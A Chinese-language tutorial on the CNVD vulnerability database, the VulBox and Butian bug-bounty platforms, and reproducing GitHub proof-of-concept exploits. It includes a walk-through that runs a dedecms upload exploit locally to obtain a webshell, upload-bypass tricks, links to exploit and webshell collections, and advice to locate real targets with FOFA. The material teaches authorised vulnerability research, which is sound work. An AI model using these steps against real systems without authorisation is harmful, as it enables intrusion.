比较项 CNVD CVE 覆盖范围 覆盖国内外,更注重国产系统 覆盖国际主流产品 编号规则 CNVD-年份-序列号(如 CNVD-2022-10201) CVE-年份-编号(如 CVE-2023-4567) 提交方式 注册账号后可提交风险点 需通过 CNA 或 MITRE 提交 是否公开所有风险点 否,有些是未公开风险点 是,公开数据库

CNVD 编号结构

示例:CNVD-2022-10201

  • CNVD:中国风险点库编号

  • 2022:年份

  • 10201:编号(每年单独编号)

有些风险点只有 CNVD 编号,没有 CVE,是国内独家披露的风险点。

8.2 如何使用 CNVD 做风险点研究?

1)查询风险点信息

打开官网首页 👉 https://www.cnvd.org.cn
使用 关键词、厂商、组件名、编号 等搜索:

  • 关键词:ThinkPHP / WordPress / Redis

  • 风险点编号:CNVD-2021-30102

  • 厂商/组件:泛微 e-office、泛微OA、用友等

示例结果内容:

  • 风险点名称

  • 风险点等级(高危/中危)

  • 影响范围

  • 修复建议

  • 公开时间

  • 风险点描述

2)查找可复现风险点(含 POC)

部分 CNVD 风险点信息会附带分析文章和 POC 链接,你可以根据标题关键词去 GitHub 搜索该风险点 POC。

例如:

  • CNVD-2021-30102 泛微OA 任意文件上传

  • GitHub 搜索:泛微 CNVD-2021-30102 POC

3)提交风险点

  1. 注册账号:https://www.cnvd.org.cn/member/login.htm

  2. 登录后台提交风险点信息

  3. 等待审核和编号分配

  4. 审核通过后会获得风险点积分

4)配合工具自动检测 CNVD 风险点

可以结合以下平台或工具,实现批量检测

  • fofa + cnvd 组合(资产搜索 + 风险点检测)

  • nuclei 的 CNVD POC 模板(.yaml 格式)

  • 洞鉴/鹰图/Pocsuite3 等集成平台检测 CNVD 风险点

8.3 常见场景应用

场景 说明 Web 渗透前的信息收集 搜索目标使用的 CMS 是否有 CNVD 风险点 SRC 白帽子投稿 发现站点存在 CNVD 厂商风险点,可投稿 复现写博客 根据 CNVD 风险点编号构建复现环境、编写 POC POC 自动化平台 用 CNVD 标记风险点并写 yaml 模板 风险点报告写作 引用 CNVD 编号提升报告专业性

8.4 配合平台/工具

平台 用法 CNVD 官网 查询风险点、提交风险点 Seebug 查询 CNVD + POC GitHub 搜索 POC(搜索“CNVD-xxxx”) FOFA、ZoomEye 搜集可能受影响目标 Pocsuite3 编写 CNVD PoC 模块 Nuclei 编写 yaml 模板进行批量检测

8.5 小结

关键词 内容 平台性质 官方风险点共享平台(国家级) 涵盖范围 国内外软硬件系统,偏重国产系统 编号格式 CNVD-年-编号 核心价值 研究国内风险点、参与风险点提交 实战用法 复现、PoC 编写、检测、提交奖励

九、风险点盒子

  • 名称:风险点盒子(VulBox)

  • 网址:https://www.vulbox.com

  • 运营方:知道创宇(国内安全公司)

  • 性质:白帽子风险点众测平台 + 企业安全合作平台

风险点盒子是什么?

风险点盒子是一个连接:

  • 白帽子(你) 

  • 企业(厂商) 

  • 平台(知道创宇) 

三者之间的风险点收集、披露、奖励机制平台。

可以:

功能 描述 提交风险点 对目标站点提交安全风险点(XSS、SQL注入、逻辑风险点等) 获取积分 审核通过后获得安全积分 获得奖励 某些风险点可能得到现金或实物奖励 企业定向众测 平台分配目标给白帽子做深度测试 排名与认证 累积积分可进入榜单,增加影响力

9.1 注册与使用流程

注册流程

  • 访问官网:https://www.vulbox.com

  • 使用手机号或邮箱注册账号

  • 完善个人信息和认证(建议上传真实能力信息,便于定向众测邀请)

提交风险点流程

  • 登录后台 ➜ 点击“提交风险点”

  • 填写目标站点、风险点描述、风险点类型、危害等级、复现步骤等

  • 可上传截图、复现视频、PoC 链接等

  • 提交后等待审核,审核成功会收到积分/奖励

风险点​​​​​​​类型支持

类型 说明 XSS 跨站脚本 常见于搜索、评论等页面 SQL 注入 登录页、参数注入 任意文件读取 可读取 config、passwd 等文件 命令执行 RCE 高危风险点,可控制服务器 逻辑风险点 例如越权、任意密码重置 信息泄露 例如 Git 泄露、接口暴露 SSRF / CSRF / XXE 较高级别风险点

9.2 风险点盒子优势

面向厂商 SRC

风险点盒子对接了很多大型平台,如:

  • 联通、移动、华为

  • 招商银行、支付宝

  • 各类政企系统

  • 中小厂商(企业众测)

平台负责将风险点分发、审核、通报给厂商,并推动修复和奖励发放。

支持公开 & 私密提交

  • 公开提交:风险点审核通过后可展示在风险点广场

  • 私密提交:只提交给厂商和平台,外部不可见

  • 可匿名提交:避免打草惊蛇

众测任务邀请制

技术好、有提交记录后,会被平台邀请:

  • 参与高价值站点的定向测试

  • 按任务提交风险点,按风险点奖励现金/积分

9.3 白帽子常用技巧

如何发现风险点?

  • 目标:厂商登录页、搜索、注册、上传等功能点

  • 工具:BurpSuite、dirsearch、sqlmap、F12+调试

  • 常用风险点类型:XSS、逻辑风险点、路径遍历、任意文件下载

如何提交让平台快速通过?

  • 写明:

    • 风险点入口地址

    • 触发条件

    • 复现步骤

    • 危害描述

    • 建议修复措施

  • 附加截图、视频、PoC URL(更具可信度)

9.4 实战建议

适合做的实战项目:

  • 在 GitHub 搜索 CMS 框架(如:dedecms、discuz)搭建测试环境

  • 本地挖掘 XSS、SQL 注入、后台绕过风险点

  • 写成 PoC(参考之前讲的 PoC 编写方法)

  • 到风险点盒子找类似站点或厂商进行验证

  • 提交风险点,积累积分与实战经验

9.5 小结

维度 内容 性质 国内白帽众测平台,由知道创宇运营 使用目的 提交风险点、积累经验、获取奖励 优势 厂商多、众测活动频繁、奖励机制完善 提交技巧 精准复现、图文并茂、突出危害 实战建议 从低危 XSS、路径遍历、逻辑绕过开始练手

十、补天

项目 说明 平台名称 补天风险点响应平台 官网地址 https://www.butian.net 创建时间 2013 年左右 运营方 360 公司(奇虎360) 性质 国内权威风险点提交/响应/众测平台 用户群体 白帽子、安全研究员、安全厂商、政企单位

补天平台是什么?

补天平台是一个白帽子与厂商之间的“中间桥梁”,由奇虎360维护,用于接收白帽子提交的风险点并转发给相关厂商,促进风险点修复,并给予积分或奖励。

10.1 补天平台主要功能

模块 功能说明 风险点提交 提交 XSS、SQL注入、RCE、未授权访问等风险点 厂商合作 对接了大量厂商(如政府网站、银行、互联网公司) 赏金计划 部分厂商设置风险点赏金(¥现金奖励) 众测任务 官方分配测试目标,按结果计分或计钱 积分体系 提交风险点获得“白帽积分” 排名体系 有周榜、月榜、年榜,优秀者可获得认证

10.2 支持的风险点类型

类型 描述 XSS 跨站脚本 输入框未过滤,执行恶意脚本 SQL 注入 数据库查询接口存在注入风险 任意文件上传 可上传木马控制服务器 任意文件读取 读取配置、数据库密码等敏感信息 命令执行 RCE 远程执行系统命令 SSRF / XXE / CSRF 服务端请求伪造、XML注入等 信息泄露 源码泄露、后台泄露、弱口令

10.3 挖洞 + 提交流程

  • 使用 FOFA/ZoomEye 找目标(可选定厂商)

  • 识别 CMS/系统(如 dedecms、phpcms、thinkphp)

  • 使用 BurpSuite、手工 + 工具挖洞

  • 编写复现文档(截图 + 步骤 + POC)

  • 登录补天平台提交

  • 审核通过 ➜ 积分奖励

10.4 练习路径

  • 本地搭建风险点环境(如 ThinkPHP、dedecms)

  • 复现已知风险点(CVE/CNVD)

  • 编写风险点分析 + POC

  • FOFA/ZoomEye 扫描使用目标厂商

  • 在补天提交真实可复现的低危风险点(如 XSS)

  • 慢慢积累积分,提升排名

10.5 小结

内容 说明 平台定位 国内老牌风险点响应平台 目标用户 白帽子、SRC从业者、安全爱好者 提交类型 XSS、SQL注入、RCE、逻辑风险点等 奖励方式 积分、现金、证书、荣誉 推荐方式 搭配风险点盒子、GitHub POC 实战使用

十一、github-poc 资源复现

  • POC(Proof of Concept):风险点的概念验证代码,用来复现风险点。

  • GitHub 上聚集了世界各地安全研究员、红队、白帽子上传的 风险点 POCEXP(利用代码) 和复现环境。

  • 有大量关于 WordPress、ThinkPHP、dedecms、phpcms、Struts2、Weblogic、Spring 等的 POC。

11.1 GitHub 上 POC 搜索方法

关键词搜索技巧(举例):

ThinkPHP CVE pocdedecms file upload pocWordPress RCE github\"phpcms\" in:descriptionCVE-2023 in:title

推荐结合使用的关键词:

风险点组件 常见关键词 ThinkPHP thinkphp poc, thinkphp rce WordPress wordpress plugin vuln dedecms dedecms upload, dedecms XSS phpcms phpcms poc Discuz discuz xss, discuz csrf CVE CVE-2021-XXXX poc

推荐仓库(通用集合类):

  • https://github.com/nomi-sec/PoC-in-GitHub

    • 自动收集 GitHub 所有 CVE 利用代码

  • https://github.com/vulhub/vulhub

    • 中文的最强风险点复现环境集合(含环境+POC)

  • https://github.com/projectdiscovery/nuclei-templates

    • Nuclei 的 POC 模板库(适合批量测试)

  • https://github.com/zhzyker/exphub

    • 含企业级系统(Weblogic、Confluence 等)的 EXP

  • https://github.com/w181496/Webshell

    • 提供配套风险点上传后的 Webshell(辅助测试)

11.2 POC 复现完整流程

以 GitHub 搜到的一个 dedecms 任意文件上传风险点 POC 为例:

步骤 1:搭建环境

使用 vulhubdocker或自己搭建风险点 CMS 环境。

# 如果是 Vulhub 支持的风险点git clone https://github.com/vulhub/vulhubcd dedecms/xxxdocker-compose up -d

或自己去官网下 dedecms v5.7,配合 phpstudy 或宝塔本地部署。

步骤 2:获取 POC

在 GitHub 搜索:

dedecms upload poc

找到一个 POC 仓库,如:

https://github.com/Medicean/VulApps/tree/master/d/dedecms_5_7_1

下载或者复制其中的 POC 脚本,例如 poc.py

步骤 3:阅读 POC 原理

通常 POC 包含:

模块 内容 请求地址 哪个接口存在风险点(如 /uploads/a.php) 请求方式 POST/GET/文件上传 参数格式 参数名、文件字段名(如 file, upload[]) 响应判断 如何判断风险点是否成功(如返回 200 且链接可访问)

需要掌握 HTTP 抓包知识,能用 BurpSuite 重现请求。

步骤 4:运行 POC

python3 poc.py http://127.0.0.1/dedecms/
  • 查看控制台是否提示上传成功

  • 查看返回的 Webshell 链接

  • 使用浏览器/curl 打开,确认是否 RCE 成功

步骤 5:分析风险点原理(进阶)

掌握风险点利用条件:

  • 文件类型限制绕过?

  • 后缀双写?(如 .php;.jpg

  • 文件内容绕过?(加 GIF 头?)

  • 后台未鉴权上传接口?

  • 文件是否可被访问?

11.3 从 GitHub 挖掘优质 POC 的技巧

方法 技巧 看 Star 数 超过 100 星,一般质量不错 看更新时间 越新越说明适配当前系统 看 issue 区 有没有人复现成功 看 Readme 有没有环境搭建说明和截图 搜索 CVE + PoC 如:CVE-2023-37960 poc 搜 Fofa/Zoomeye 结果验证 查是否有目标存在此风险点

11.4 辅助工具推荐

工具 作用 BurpSuite 抓包、重放 POC 请求 Docker 快速搭建测试环境 FOFA 搜索真实风险点目标 Nmap + Nuclei 指纹识别 + 批量扫描 POC Python/requests 编写自己的 poc 脚本

11.5 示例复现案例

系统 风险点名称 GitHub 地址 ThinkPHP 5 RCE风险点 https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce dedecms 5.7 任意文件上传 https://github.com/Medicean/VulApps/tree/master/d/dedecms_5_7_1 WordPress 插件文件上传风险点 https://github.com/1N3/Wordpress-Exploit-Framework phpcms 后台 getshell https://github.com/Angus-x/phpcmsv9

11.6 小结

graph TDA[GitHub 搜索风险点 PoC] --> B[分析风险点原理]B --> C[搭建环境 Vulhub/Docker]C --> D[运行 POC 脚本]D --> E[复现成功]E --> F[总结报告/投稿平台]